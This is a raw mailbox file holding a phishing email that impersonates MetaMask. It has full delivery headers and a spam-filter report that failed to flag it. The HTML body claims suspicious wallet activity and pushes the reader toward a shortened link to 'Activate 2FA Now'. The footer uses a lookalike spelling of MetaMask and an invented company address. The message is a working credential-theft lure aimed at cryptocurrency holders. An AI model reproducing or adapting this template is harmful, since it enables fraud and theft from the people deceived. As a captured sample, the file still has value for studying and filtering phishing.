File: /home/edtir/mail/.info@metal-sanat_com/new/1763240543.M568079P13329.starfruit.7ho.st,S=7361,W=7481
Return-Path: <postmaster@285ab48261.nxcli.io>
Delivered-To: info@metal-sanat.com
Received: from starfruit.7ho.st
by starfruit.7ho.st with LMTP
id a17pIF/qGGkRNAAAeMCD9A
(envelope-from <postmaster@285ab48261.nxcli.io>)
for <info@metal-sanat.com>; Sun, 16 Nov 2025 00:32:23 +0330
Return-path: <postmaster@285ab48261.nxcli.io>
Envelope-to: info@metal-sanat.com
Delivery-date: Sun, 16 Nov 2025 00:32:23 +0330
Received: from cloudhost-10614156.us-midwest-1.nxcli.net ([8.29.154.53]:40314)
by starfruit.7ho.st with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.96.2)
(envelope-from <postmaster@285ab48261.nxcli.io>)
id 1vKNPe-0003LT-1X
for info@metal-sanat.com;
Sun, 16 Nov 2025 00:32:23 +0330
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha256; q=dns; c=nofws;
s=default; d=285ab48261.nxcli.io;
b=UBmO+mF89G/cfOMGjdm+KuYlioNr7Hpr9/kwWYuihMIzsfONEnTyE6fNcHthcSg8BZweyStvZzOt2QnYstZO+Kpm29Bkpb1W5BO9ck59vid8ACPqiBnCNY++HpN4f4cm/iCBy3H4LPL3kzPL1dJEzlCMMafZkiCIT4watZ9lH50s0Gj3TpEUNMkQlT1f0btSCe7SkbxC12Xbh/XM9QVL+y3JJJmjdvBsORlaW05TvqvmY4DaUyyul3FIeWKfq2nW4Y0aED+eU90GWjk3x+8DFpyuYBe/NCbHrVkNnRhx5cjYxMblLessiZtrBxsY78Z/WTqWWk4d8rm1CqZRqwhLhQ==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=285ab48261.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type:list-unsubscribe; s=default; bh=Pu5Q50nJkoLNx/Gz0f
+lWhAPyAoQ5mKS44oW0IbI/3s=; b=z8UddEAAS6ckjKhKJncAO0L5r2vMnaSnVs
zvpwdLytJXc9ty+5Kb787tx17vsl9O3tQcYs4NVUzNgYZoWG9CDITBoRUxErZQcB
Db1YiJQ0t/lmPH2E+P/XIQWOs2jllxMt4rbHg9iatr+jgtqe0xDWYtbTK5wx4T2R
zps2QRhYOW66XIKFoy/dpVz46qekNGIpxLgbM8iHcvfJSazBnqMKsH+oc+p7OUCm
Ll7rh6cpgUsBGkd9Wcf2JMfFeZFBtVqJFBqO149RNMpdwx6FH5hvmljE/wcp5uvG
VsA3Gz3amyHagHATePN584UB+tsQZd1f39WoPk1V48Q2lc2Sq6Lw==
Received: (qmail 719154 invoked by uid 10082); 15 Nov 2025 20:52:03 +0000
Date: 15 Nov 2025 20:52:03 +0000
Message-ID: <20251115205203.719147.qmail@cloudhost-10614156.us-midwest-1.nxcli.net>
To: info@metal-sanat.com
Subject: Urgent: Account Verification Required
X-PHP-Originating-Script: 10082:done.php
From: "CryptoGuardAlert" <3r3uwwhm@fhd.io>
Reply-To: 3r3uwwhm@fhd.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.29
X-Priority: 3
List-Unsubscribe: <mailto:unsubscribe@3r3uwwhm@fhd.io>
X-Spam-Status: No, score=1.6
X-Spam-Score: 16
X-Spam-Bar: +
X-Ham-Report: Spam detection software, running on the system "starfruit.7ho.st",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Security Notice We've detected suspicious behavior linked
to your wallet. To enhance security, we recommend activating Two-Factor Authentication
(2FA). 2FA helps protect your assets even if someone knows your password.
Content analysis details: (1.6 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: nxcli.io]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[8.29.154.53 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[8.29.154.53 listed in sa-trusted.bondedsender.org]
0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
1.3 HTML_IMAGE_ONLY_24 BODY: HTML: images with 2000-2400 bytes of
words
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
identical to background
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
0.0 KAM_SHORT Use of a URL Shortener for very short URL
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
X-Spam-Flag: NO
<!DOCTYPE html>
<html lang="en">
<p> </p>
<table style="max-width: 600px; margin: 40px auto; background: #ffffff; border: 1px solid #dddddd; border-radius: 8px; width: 100%;" width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="padding: 20px; text-align: center; width: 100%;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT3ymr3UNKopfI0NmUY95Dr-0589vG-91KuAA&s" alt="MetaMask Logo and Brand Assets, The Leading Crypto Wallet" width="94" height="91" /><br />
<h2 style="color: #f6851b; font-size: 18px; margin: 10px 0 0;"> Security Notice</h2>
</td>
</tr>
<tr>
<td style="padding: 20px; font-size: 15px; line-height: 1.6; width: 100%;">
<p>We've detected suspicious behavior linked to your wallet. To enhance security, we recommend activating Two-Factor Authentication (2FA).</p>
<p>2FA helps protect your assets even if someone knows your password.</p>
<div style="text-align: center; margin: 26px 0;"><a style="background: #f6851b; color: #fff; padding: 12px 20px; border-radius: 4px; text-decoration: none; font-weight: bold; display: inline-block;" href="https://t.co/IENW4qHzre?id=4529324173836352634-8570">Activate 2FA Now</a></div>
<p>If you did not request this, no action is needed.</p>
</td>
</tr>
<tr>
<td style="padding: 20px 30px; text-align: center; color: #999999; font-size: 12px; line-height: 1.5; border-top: 1px solid #eeeeee; width: 100%;">
<p style="margin: 0 0 10px;">© 2025 MetaMаsk. All rights reserved.</p>
<p style="margin: 0 0 10px;">MetaMask LLC | 123 Crypto Plaza, Suite 500<br />San Francisco, CA 94105, USA</p>
<p style="margin: 0 0 10px;"><a style="color: #999; text-decoration: none; margin: 0 10px;" href="#">Privacy Policy</a> | <a style="color: #999; text-decoration: none; margin: 0 10px;" href="#">Terms of Service</a> | <a style="color: #999; text-decoration: none; margin: 0 10px;" href="#">Help Center</a></p>
<p style="margin: 0;"><a style="color: #999; text-decoration: underline;" href="https://MetaMask.io/help">Unsubscribe</a> from security notifications</p>
<p style="margin: 10px 0 0; font-size: 11px; color: #ccc;">This is an automated security message. Please do not reply to this email.</p>
</td>
</tr>
</tbody>
</table>